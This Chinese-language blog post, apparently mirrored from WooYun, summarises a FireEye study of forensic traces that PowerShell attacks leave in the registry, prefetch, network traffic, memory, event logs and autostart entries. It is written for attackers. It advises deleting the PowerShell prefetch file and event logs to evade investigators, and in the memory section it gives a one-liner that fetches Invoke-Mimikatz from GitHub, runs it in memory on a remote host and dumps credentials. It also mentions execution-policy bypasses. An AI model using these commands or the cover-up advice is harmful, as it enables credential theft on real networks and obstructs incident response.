powershell各種反彈姿勢以及取證(二)

wyzsk發表於2020-08-19
作者: mickey · 2015/05/25 10:17

0x00 簡介


這篇主要是取證的,如果我以後技術好了,也會寫寫powershell在內網滲透中的實戰應用,本文所有的內容基本翻譯自fireEyE的<<Investigating Powershell Attack>>,我英文不好,有好多地方都看不懂他文章裡寫的,我磕磕碰碰的看完了這篇文章。有不對的地方,還請小夥伴們補充。

我們都知道,從windows 7 sp1windows server 2008 R2開始,就已經預設安裝了powershell(2.0版本),到了windows Server 2012 R2Window 8.1就是powershell 4.0了。現在用powershell編寫的攻擊框架也很成熟了,像上文書說的各種協議反彈的SHELL(nishang);透過dll loading技術不寫硬碟的,能遠端dump登入賬號明文的Mimikatz(PowerSploit);以及在ShmooCon 2013安全會議上Chris Campbell演示的Powershell Botnet;還有各種搞windows域內網環境的powerview等;SET/METASPLOIT也開始支援powershell版的payloads。我們作為攻擊者,也要熟悉現在針對powershell的取證技術,預防自己“艱難進來,輕鬆被T,卻沒帶走一片雲彩”。

原文文章分別從登錄檔,prefetch,網路流量,記憶體,日誌,自啟動這幾方面來做取證的。

0x01 登錄檔:


預設情況下,除了WinServer 2012R2 會設定HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell的ExecutionPolicy項為RemoteSigned外,其他的windows系統都會設定為Restricted,有的攻擊者為了執行powershell指令碼方便,會設定此項為ByPass,但是這種情況並不多見,因為更多的情況是,攻擊者使用-ExecuteionPolicy Bypass選項繞過執行策略限制。

0x02 Prefetch:


Prefetch本意是為了增強系統的效能的,讓應用程式下次載入的時候,節省時間。預設路徑在%systemroot%\prefetch。取證人員常常會透過這些*.PF檔案,獲取程式最後執行時間,程式訪問的檔案列表等資訊。取證人員有可能透過檢視POWERSHELL.EXE-59FC8F3D.pf獲取到你執行的攻擊PS指令碼資訊。我這裡用的Prefetch Parser v1.4來檢視的,

如圖

enter image description here

所以每次我們用完powershell,記得del %systemroot%\prefetch\POWERSHELL.EXE-59FC8F3D.pf

0x03 網路流量:


攻擊者做內網滲透時,思路通常是先獲取了工作組的administrator許可權,然後滲透配置不嚴格的域環境,開啟powershell的remoting功能,powershell 2.0的Remoting預設會走5985(HTTP)5986(HTTPS)埠,文章裡說,主要是監控內網<->內網,DMZ<->內網,VPN<->內網的異常資料流,建模識別出攻擊者的非法訪問,我想這裡能做的,還是要熟悉內網環境,在有正常業務流的內網使用Remoting功能,其他辦法我也沒想到。

0x04 記憶體:


論文作者主要是說可以用Volatility框架分析wsmprovhost.exe程式,能夠在記憶體空間看到XML格式的資訊。比如這裡他使用PSSesion遠端互動式SHELL執行了“echo "helloword" > c:\text.txt”,然後就可以在wsmprovhost.exe的程式裡看到資訊,如圖:

enter image description here

但是這個方法隨著遠端會話的中止,也將不再有用,要想成功實現取證,需要攻擊者正在操作。所以我感覺這個對我們的威脅不是很大。如果開啟了winrm,也有可能在svchost.exe的程式裡看到資訊。他這裡用的是Invoke-Mimikatz做的演示,遠端透過下載在記憶體裡執行,DUMP明文密碼,不寫硬碟,這個滲透技巧實戰的時候很有用,命令如下:

#!bash
Invoke-Command -Computername 192.168.114.133 {iex((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds}

如下是他在svchost.exe程式記憶體裡抓到的資訊

enter image description here

0x05 日誌:


Powershell 2.0的預設日誌功能還不是很強,powershell 3.0後有所增強,不論是你本地還是透過Remoting執行powershell指令碼,都會在下面3個檔案裡寫入日誌%systemroot%\System32\winevt\

windows powershell.evtx

每次powershell開始執行EID 400或者結束EID 403的時候,都會記錄。裡面的HostName項如果是ConsoleHost說明是從本地執行的,反之,是對方的機器名

Microsoft-Windows-PowerShell%4Operational.evtx

Microsoft-Windows-power-Shell%4Analytic.etl [我機器上沒有找到這個檔案]

如果透過WINRM開啟了remoting功能,還會有下面2個日誌:

Microsoft-Windows-WinRM%4Operational.evtx

EID 6會記錄remoting的客戶端地址資訊,在這裡可能看到是誰連過來的

Microsoft-Windows-WinRM%4Analytic.etl

EID 32850 會記錄remoting客戶端連線過來使用的賬號資訊 EID 32867/32868 裡面有可能會看到當Invoke-Command執行命令的時候的細節,如圖

enter image description here

另外隨著Microsoft APPLocker的引用,管理員能夠對powershell指令碼進行更進一步的驗證,比如允許哪個PS指令碼執行,哪個不允許,甚至禁止掉計算機上全部PS指令碼的執行許可權等操作,但是這些對我們來說都有已知的技術能繞過,我下回書再說。AppLocker功能啟用後,EID 8005EID 8006會記錄認證資訊的日誌。

作者也提到可以透過%windir%\system32\WindowsPowerShell\v1.0\profile.ps1設定全域性的profile,來增加額外的日誌記錄,他這裡說可以用-NoProfile來繞過,上文書我實踐過,發現是不可以的,參考上文,這裡不多提了。

Powershell 3.0引入了Module Logging的能力,可以透過組策略開啟(Computer Configuration → Administrative Templates →Windows Components →Windows PowerShell →Turn on Module Logging),開啟後,可以在EID 4103裡看到ps指令碼執行後的結果,比如我執行

#!bash
Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password

意思是搜尋C:\下所有TXT裡包含password的檔案,可以在EID 4103裡看到返回結果,如圖

enter image description here

甚至Invoke-Mimikatz執行的結果也會記錄,如圖

enter image description here

再次提醒我們,該刪日誌,一定要刪,外面應該有能刪指定日誌的工具了,不過我沒見到,有的發我一份。

0x06 自啟動:


Powershell經常透過登錄檔,開始選單,或者計劃任務來實現自啟動的目的,通常用sysinternals的autorun就能找到了。另外C:\Users\<USERNAME>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以達到和C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一樣的效果。

文章參考:

https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf

https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章